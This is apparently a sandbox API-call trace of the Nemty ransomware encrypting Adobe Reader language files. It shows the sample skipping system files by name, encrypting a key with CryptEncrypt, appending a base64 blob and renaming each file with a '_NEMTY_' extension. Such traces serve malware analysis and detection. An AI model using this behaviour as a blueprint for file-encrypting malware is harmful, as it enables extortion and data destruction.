(lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_RU.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru_ru.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_RU.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru_ru.txt._nemty_kgobjgd_")) returned 1 [0216.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0216.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.330] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2cf3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7416, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.ru_UA.txt", cAlternateFileName="DI0840~1.TXT")) returned 1 [0216.330] lstrcmpiW (lpString1="DisplayLanguageNames.ru_UA.txt", lpString2=".") returned 1 [0216.330] lstrcmpiW (lpString1="DisplayLanguageNames.ru_UA.txt", lpString2="..") returned 1 [0216.330] lstrcmpiW (lpString1="DisplayLanguageNames.ru_UA.txt", lpString2="...") returned 1 [0216.330] lstrcmpiW (lpString1="DisplayLanguageNames.ru_UA.txt", lpString2="windows") returned -1 [0216.330] lstrcmpiW (lpString1="DisplayLanguageNames.ru_UA.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.330] lstrcmpiW (lpString1="DisplayLanguageNames.ru_UA.txt", lpString2="rsa") returned -1 [0216.330] lstrcmpiW (lpString1="DisplayLanguageNames.ru_UA.txt", lpString2="NTDETECT.COM") returned -1 [0216.330] lstrcmpiW (lpString1="DisplayLanguageNames.ru_UA.txt", lpString2="ntldr") returned -1 [0216.330] lstrcmpiW (lpString1="DisplayLanguageNames.ru_UA.txt", lpString2="MSDOS.SYS") returned -1 [0216.330] lstrcmpiW (lpString1="DisplayLanguageNames.ru_UA.txt", lpString2="IO.SYS") returned -1 [0216.330] lstrcmpiW (lpString1="DisplayLanguageNames.ru_UA.txt", lpString2="boot.ini") returned 1 [0216.330] lstrcmpiW (lpString1="DisplayLanguageNames.ru_UA.txt", lpString2="boot.ini") returned 1 [0216.330] lstrcmpiW (lpString1="DisplayLanguageNames.ru_UA.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.330] lstrcmpiW (lpString1="DisplayLanguageNames.ru_UA.txt", lpString2="ntuser.dat") returned -1 [0216.330] lstrcmpiW (lpString1="DisplayLanguageNames.ru_UA.txt", lpString2="desktop.ini") returned 1 [0216.331] lstrcmpiW (lpString1="DisplayLanguageNames.ru_UA.txt", lpString2="CONFIG.SYS") returned 1 [0216.331] lstrcmpiW (lpString1="DisplayLanguageNames.ru_UA.txt", lpString2="RECYCLER") returned -1 [0216.331] lstrcmpiW (lpString1="DisplayLanguageNames.ru_UA.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.331] lstrcmpiW (lpString1="DisplayLanguageNames.ru_UA.txt", lpString2="bootmgr") returned 1 [0216.331] lstrcmpiW (lpString1="DisplayLanguageNames.ru_UA.txt", lpString2="programdata") returned -1 [0216.331] lstrcmpiW (lpString1="DisplayLanguageNames.ru_UA.txt", lpString2="appdata") returned 1 [0216.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ru_UA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ru_UA.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ru_UA.txt", lpUsedDefaultChar=0x0) returned 30 [0216.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0216.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ru_UA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ru_UA.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ru_UA.txt", lpUsedDefaultChar=0x0) returned 30 [0216.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0216.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ru_UA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ru_UA.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ru_UA.txt", lpUsedDefaultChar=0x0) returned 30 [0216.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ru_UA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.331] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ru_UA.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ru_UA.txt", lpUsedDefaultChar=0x0) returned 30 [0216.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0216.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0216.331] Sleep (dwMilliseconds=0x5) [0216.339] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3495dfd0, dwHighDateTime=0x1d561e8)) [0216.339] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3495dfd0, dwHighDateTime=0x1d561e8)) [0216.339] GetLastError () returned 0x0 [0216.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.339] GetLastError () returned 0x0 [0216.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.339] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.339] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.339] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0216.339] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="7bDGRI9pA/zDDhWJA8g8YYOHJ+alcy6xfdQfvMgNAQn5tVlhn/YeFbZMnCFmJjGr\r\nxm19H14VbQXuRcC4DN42nfBjmrZwDy9CawWYvFiqV/6j2fAzs0HyRWNftXP7sIxE\r\nv3N8w2pnehniOq2NL+zRGHI1NOhzLdUbtJ234LR2eF3eTLD/VWE7EAtYkJT6mmJw\r\nZMsZvAYz+Y8PdYI1Kjzd/g8FUz1oavurYAxAIlwctvkuRMtA+UfUg1hysM1kFqnN\r\nxD5USV0pMT0QxEojA2QvApjapcSXFMARLmGareIDQGpNcd/in2zJOXm/RbOoxzPj\r\nN7AQZ6uUArh1+ft3Go76KQ==\r\n", pcchString=0x653e5dc) returned 1 [0216.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0216.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.339] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_UA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru_ua.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.340] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=29718) returned 1 [0216.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7410) returned 0x6352c48 [0216.340] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.340] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x7410, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x7410, lpOverlapped=0x0) returned 1 [0216.343] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.343] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x7410, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x7410, lpOverlapped=0x0) returned 1 [0216.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.344] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=29718, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7416 [0216.344] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.344] CloseHandle (hObject=0x2e8) returned 1 [0216.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0216.344] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.344] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0216.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0216.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0216.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.344] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_UA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru_ua.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_UA.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru_ua.txt._nemty_kgobjgd_")) returned 1 [0216.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0216.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.345] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d76, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.sk.txt", cAlternateFileName="DIDD84~1.TXT")) returned 1 [0216.345] lstrcmpiW (lpString1="DisplayLanguageNames.sk.txt", lpString2=".") returned 1 [0216.345] lstrcmpiW (lpString1="DisplayLanguageNames.sk.txt", lpString2="..") returned 1 [0216.345] lstrcmpiW (lpString1="DisplayLanguageNames.sk.txt", lpString2="...") returned 1 [0216.345] lstrcmpiW (lpString1="DisplayLanguageNames.sk.txt", lpString2="windows") returned -1 [0216.345] lstrcmpiW (lpString1="DisplayLanguageNames.sk.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.345] lstrcmpiW (lpString1="DisplayLanguageNames.sk.txt", lpString2="rsa") returned -1 [0216.345] lstrcmpiW (lpString1="DisplayLanguageNames.sk.txt", lpString2="NTDETECT.COM") returned -1 [0216.345] lstrcmpiW (lpString1="DisplayLanguageNames.sk.txt", lpString2="ntldr") returned -1 [0216.345] lstrcmpiW (lpString1="DisplayLanguageNames.sk.txt", lpString2="MSDOS.SYS") returned -1 [0216.345] lstrcmpiW (lpString1="DisplayLanguageNames.sk.txt", lpString2="IO.SYS") returned -1 [0216.345] lstrcmpiW (lpString1="DisplayLanguageNames.sk.txt", lpString2="boot.ini") returned 1 [0216.345] lstrcmpiW (lpString1="DisplayLanguageNames.sk.txt", lpString2="boot.ini") returned 1 [0216.345] lstrcmpiW (lpString1="DisplayLanguageNames.sk.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.345] lstrcmpiW (lpString1="DisplayLanguageNames.sk.txt", lpString2="ntuser.dat") returned -1 [0216.345] lstrcmpiW (lpString1="DisplayLanguageNames.sk.txt", lpString2="desktop.ini") returned 1 [0216.345] lstrcmpiW (lpString1="DisplayLanguageNames.sk.txt", lpString2="CONFIG.SYS") returned 1 [0216.345] lstrcmpiW (lpString1="DisplayLanguageNames.sk.txt", lpString2="RECYCLER") returned -1 [0216.345] lstrcmpiW (lpString1="DisplayLanguageNames.sk.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.345] lstrcmpiW (lpString1="DisplayLanguageNames.sk.txt", lpString2="bootmgr") returned 1 [0216.345] lstrcmpiW (lpString1="DisplayLanguageNames.sk.txt", lpString2="programdata") returned -1 [0216.345] lstrcmpiW (lpString1="DisplayLanguageNames.sk.txt", lpString2="appdata") returned 1 [0216.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sk.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sk.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sk.txt", lpUsedDefaultChar=0x0) returned 27 [0216.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0216.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sk.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sk.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sk.txt", lpUsedDefaultChar=0x0) returned 27 [0216.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0216.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sk.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sk.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sk.txt", lpUsedDefaultChar=0x0) returned 27 [0216.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sk.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sk.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sk.txt", lpUsedDefaultChar=0x0) returned 27 [0216.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0216.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0216.346] Sleep (dwMilliseconds=0x5) [0216.356] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34984130, dwHighDateTime=0x1d561e8)) [0216.356] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34984130, dwHighDateTime=0x1d561e8)) [0216.356] GetLastError () returned 0x0 [0216.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.356] GetLastError () returned 0x0 [0216.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.356] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.356] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.356] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0216.356] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: 